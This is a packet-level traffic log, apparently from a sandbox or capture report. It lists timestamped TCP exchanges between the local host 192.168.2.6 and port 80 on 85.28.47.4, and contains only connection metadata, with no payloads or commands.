Jul 1, 2024 07:20:43.038242102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038244009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038258076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038263083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038278103 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038285971 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038290024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038291931 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038305044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038312912 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038320065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038330078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038335085 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038347006 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038351059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038368940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038372040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038388968 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038394928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038403988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038408995 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038420916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038424015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038436890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038440943 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038456917 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038471937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038800001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038815022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038829088 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038841009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038844109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038861990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038872004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038937092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038950920 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038964987 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038973093 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038983107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.038995981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.038996935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.039011955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.039017916 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.039027929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.039043903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.039066076 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128228903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128262043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128278017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128293037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128309965 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128312111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128333092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128335953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128350019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128377914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128392935 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128415108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128429890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128444910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128447056 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128460884 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128468990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128478050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128494024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128500938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128510952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128614902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128629923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128644943 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128650904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128662109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128664017 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128678083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128680944 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128695011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128698111 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128710985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128712893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128726006 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128729105 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128743887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128746033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128760099 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128761053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128774881 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128793955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.128885031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.128926992 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129033089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129048109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129064083 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129069090 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129080057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129081011 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129095078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129098892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129112959 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129117012 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129127026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129147053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129203081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129235983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129272938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129291058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129304886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129308939 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129321098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129332066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129336119 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129350901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129353046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129365921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129378080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129400015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129535913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129549980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129564047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129570961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129580021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129584074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129600048 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129605055 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129611015 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129621983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129637003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129638910 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129652023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129666090 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129667997 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129683018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129683971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129698992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129707098 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129714966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129729986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.129730940 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129751921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.129764080 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130043030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130058050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130073071 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130084991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130089045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130095005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130105972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130109072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130109072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130125046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130141020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130208015 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130222082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130235910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130239964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130253077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130253077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130265951 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130280972 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130378008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130393982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130417109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130419016 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130429983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130434036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130450010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130455017 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130464077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130467892 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130479097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130484104 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130494118 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130500078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130511999 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130516052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130532026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130534887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130553007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130573988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130790949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130808115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130820990 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130831003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130836010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130844116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130851984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130856991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130867004 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130871058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130882978 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130884886 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130898952 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130898952 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.130913973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.130927086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131150961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131165981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131181002 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131191969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131196022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131205082 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131211042 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131230116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131237030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131252050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131254911 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131264925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131273985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131279945 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131289005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131299973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131304979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131314039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131320953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131333113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131335020 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131349087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131351948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131365061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131367922 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131378889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131383896 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131396055 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131401062 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131409883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131416082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131431103 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131432056 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131442070 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131447077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131458044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131462097 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131479025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131479025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131494045 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131495953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131510973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131511927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131525993 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131531000 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.131550074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.131556034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.132122993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.132147074 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.132165909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.132169962 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.132179976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.132188082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.132203102 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.132206917 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.132219076 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.132222891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.132231951 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.132241011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.132251978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.132256031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.132265091 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.132272005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.132283926 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.132287979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.132297039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.132317066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.221237898 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221344948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221396923 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221447945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221456051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.221482992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221498966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.221507072 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.221534967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221556902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.221596956 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221616983 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.221638918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.221662998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221703053 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.221709013 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221756935 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221786976 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.221791029 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221798897 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.221837044 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.221843004 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221884966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.221894026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221927881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221940041 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.221946955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.221973896 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.221981049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222018003 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222054005 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222089052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222093105 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222124100 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222141981 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222157955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222165108 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222198009 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222206116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222242117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222255945 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222307920 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222326040 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222352982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222352982 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222397089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222410917 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222444057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222461939 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222486019 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222491026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222529888 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222532034 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222568035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222577095 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222614050 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222635031 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222678900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222682953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222723007 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222723961 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222778082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222780943 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222800970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222810984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222826004 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222836971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222853899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222862005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222884893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222903967 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222913980 CEST	80	49711	85.28.47.4	192.168.2.6
